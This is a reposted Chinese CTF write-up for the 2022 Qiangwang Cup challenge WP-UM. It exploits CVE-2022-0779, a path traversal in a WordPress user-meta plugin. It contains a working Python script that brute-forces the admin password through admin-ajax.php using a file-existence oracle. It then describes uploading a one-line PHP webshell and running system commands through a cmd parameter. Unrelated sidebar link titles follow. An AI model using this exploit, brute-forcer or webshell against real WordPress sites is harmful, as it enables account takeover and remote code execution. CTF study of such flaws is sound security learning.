当前位置:网站首页>[强网杯2022]WP-UM
[强网杯2022]WP-UM
2022-08-05 09:52:00 【Landasika】
考点: WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779
首先初始化题目
获取管理员账号密码
注册一个用户
登陆用户
抓上传的数据包
然后发送,拦截一个action=um_show_uploaded_file的数据包
根据首页信息可以得到管理员的用户名
利用CVE-2022-0779 Path遍历漏洞,如果存在这个文件,那么会显示Remove,如果没有这个文件,就不会存在Remove
爆破得到密码
import requests
lis='qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
password=''
url="http://ip:port/wp-admin/admin-ajax.php"
header={
'Host': 'ip:port',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Origin': 'http://ip:port',
'Referer': 'http://ip:port/index.php/upload/',
'Cookie':'wordpress_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C773b42bf40849a9d6365ec60b43eb256204f1c41a3c52103702ac0ea8b910a85; wordpress_logged_in_dbc1caa18716ea65bde64c8be124687e=11111%7C1656204437%7C4gKvb9ukdHPHLGoZmUck6b0HQLuzMAWGMwrLzcOz6ut%7C46c1c28f20badcb553d1aef7f4ee2f926b5a6b9cb83e0f934a230f38d30a88cc'
}
for i in range (1,16):
for s in lis:
datas="field_name=upload&filepath=/../../../../../../../password/"+str(i)+s+"&field_id=um_field_2&form_key=upload&action=um_show_uploaded_file&pf_nonce=8a8f9c780f&is_ajax=true"
result=requests.post(url,data=datas,headers=header)
if 'Remove' in result.text:
password+=s
break
print (password)
上传一句话木马
修改上传文件设置
然后进入页面里面更新
上传一句话木马
获取flag
进入wp-content/uploads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
oads/file/2.php
wp-content/uploads/files/2.php?cmd=system(%22grep%20-r%20flag{%20/usr/*%22);
边栏推荐
猜你喜欢
Marketing Suggestions | You have an August marketing calendar to check! Suggest a collection!
茄子科技CEO仇俊:以用户为中心,做用户真正需要的产品
Assembly language (8) x86 inline assembly
hcip BGP 增强实验
NowCoderTOP35-40——持续更新ing
After Keil upgrades to AC6, what changes?
hcip BGP enhancement experiment
Open Source Summer | How OpenHarmony Query Device Type (eTS)
Oracle temporary table space role
NowCoderTOP35-40 - continuous update ing
随机推荐
Imitation SBUS fixed with serial data conversion
Bias lock/light lock/heavy lock lock is healthier. How is locking and unlocking accomplished?
创建一个 Dapp,为什么要选择波卡?
营销建议 | 您有一份八月营销月历待查收! 建议收藏 !
uniapp 连接ibeacon
Oracle temporary table space role
The difference between find, matches, lookingAt matching strings in matcher
Dry goods!Generative Model Evaluation and Diagnosis
hcip BGP 增强实验
长达四年的减肥记录
19.服务器端会话技术Session
What is the function of the regular expression replaceAll() method?
19. Server-side session technology Session
轩辕实验室丨欧盟EVITA项目预研 第一章(四)
Jenkins使用手册(2) —— 软件配置
七夕浪漫约会不加班,RPA机器人帮你搞定工作
5. Deploy the web project to the cloud server
Is there a problem with writing this?How to synchronize data in sql-client
2022/8/4 考试总结
PAT Level B - B1021 Single Digit Statistics (15)